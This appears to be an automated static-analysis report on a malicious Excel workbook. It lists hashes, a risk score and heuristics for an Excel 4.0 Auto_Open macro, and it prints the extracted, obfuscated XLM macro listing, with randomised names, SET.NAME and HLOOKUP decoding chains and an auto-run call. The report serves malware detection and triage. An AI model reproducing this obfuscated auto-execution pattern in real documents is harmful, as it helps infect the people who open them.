Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d805cf8087f0cb97…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:47:25 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 3d99a9659b437b67e28da2fc5a19143c SHA-1: af06ddc62c9cc148e71b669fd9852a9d597171a9 SHA-256: d805cf8087f0cb971548aff1f8bab41f747c114981a6280db11d35e17720e0f8
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6804 bytes
SHA-256: b1aa93c42efc962725ca8afe3fde114536581e7bd743dd03073bacb48bb921bb
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  WaePUmaY
' 0018     22 LABEL : Cell Value, String Constant - aOmichB len=0 
' 0018     22 LABEL : Cell Value, String Constant - aSeiUiO len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G132 
' 0018     22 LABEL : Cell Value, String Constant - BiIAdht len=0 
' 0018     27 LABEL : Cell Value, String Constant - dghYtllVJKZp len=0 
' 0018     24 LABEL : Cell Value, String Constant - DoxUfTmew len=0 
' 0018     26 LABEL : Cell Value, String Constant - ElCdYRHYRka len=0 
' 0018     24 LABEL : Cell Value, String Constant - FCXkWlJVp len=0 
' 0018     25 LABEL : Cell Value, String Constant - hAiHBzWdeO len=0 
' 0018     26 LABEL : Cell Value, String Constant - KKIybtIwrtc len=0 
' 0018     24 LABEL : Cell Value, String Constant - KvCjTqRNF len=0 
' 0018     25 LABEL : Cell Value, String Constant - mEpyprYIqz len=0 
' 0018     22 LABEL : Cell Value, String Constant - qGRpwpW len=0 
' 0018     26 LABEL : Cell Value, String Constant - RdeqjMNbBQP len=0 
' 0018     21 LABEL : Cell Value, String Constant - rTbrMk len=0 
' 0018     25 LABEL : Cell Value, String Constant - rwTqVxCYjd len=0 
' 0018     26 LABEL : Cell Value, String Constant - tqXyCXcViXm len=0 
' 0018     25 LABEL : Cell Value, String Constant - uwuxBUaDvN len=0 
' 0018     25 LABEL : Cell Value, String Constant - XTbxojYTdm len=0 
' 0018     25 LABEL : Cell Value, String Constant - xVubENnfBs len=0 
' 0018     27 LABEL : Cell Value, String Constant - xZnoMVikjQOj len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  WaePUmaY,G44,"SET.NAME("ElCdYRHYRka",0+VALUE("0"))",""
'  WaePUmaY,T46,"",-243.00000000000000000000
'  WaePUmaY,T47,"",519.00000000000000000000
'  WaePUmaY,T48,"",949.00000000000000000000
'  WaePUmaY,G49,"SET.NAME("KvCjTqRNF",ElCdYRHYRka)",""
'  WaePUmaY,T49,"",-407.00000000000000000000
'  WaePUmaY,T50,"",370.00000000000000000000
'  WaePUmaY,T51,"",910.00000000000000000000
'  WaePUmaY,G52,"SET.NAME("BiIAdht",ElCdYRHYRka)",""
'  WaePUmaY,G57,"SET.NAME("KKIybtIwrtc",COUNTA(xZnoMVikjQOj))",""
'  WaePUmaY,G62,"SET.NAME("uwuxBUaDvN",COUNTA(DoxUfTmew))",""
'  WaePUmaY,G66,[],""
'  WaePUmaY,G70,"SET.NAME("XTbxojYTdm","")",""
'  WaePUmaY,G74,"KvCjTqRNF",""
'  WaePUmaY,G76,"SET.NAME("qGRpwpW",HLOOKUP("*",xZnoMVikjQOj,KvCjTqRNF,FALSE))",""
'  WaePUmaY,G81,"rTbrMk",""
'  WaePUmaY,G86,"SET.NAME("hAiHBzWdeO",ElCdYRHYRka)",""
'  WaePUmaY,G89,[],""
'  WaePUmaY,G94,"hAiHBzWdeO",""
'  WaePUmaY,G96,"RdeqjMNbBQP",""
'  WaePUmaY,G98,"aOmichB",""
'  WaePUmaY,G100,"mEpyprYIqz",""
'  WaePUmaY,G103,"SET.NAME("rwTqVxCYjd",VALUE(HLOOKUP("*",DoxUfTmew,mEpyprYIqz,FALSE)))",""
'  WaePUmaY,G105,"aSeiUiO",""
'  WaePUmaY,G108,"XTbxojYTdm",""
'  WaePUmaY,G111,"BiIAdht",""
'  WaePUmaY,G115,NEXT(),""
'  WaePUmaY,G119,"xVubENnfBs",""
'  WaePUmaY,G122,[],""
'  WaePUmaY,G124,"FCXkWlJVp",""
'  WaePUmaY,G128,NEXT(),""
'  WaePUmaY,G130,RETURN(),""
'  WaePUmaY,G159,"SET.NAME("tqXyCXcViXm",G44)",""
'  WaePUmaY,G161,"xZnoMVikjQOj",""
'  WaePUmaY,G166,"SET.NAME("DoxUfTmew",R62C13)",""
'  WaePUmaY,G171,"SET.NAME("FCXkWlJVp",178)",""
'  WaePUmaY,G174,"SET.NAME("dghYtllVJKZp",7)",""
'  WaePUmaY,G177,tqXyCXcViXm(),""
'  WaePUmaY,G178,HALT(),""

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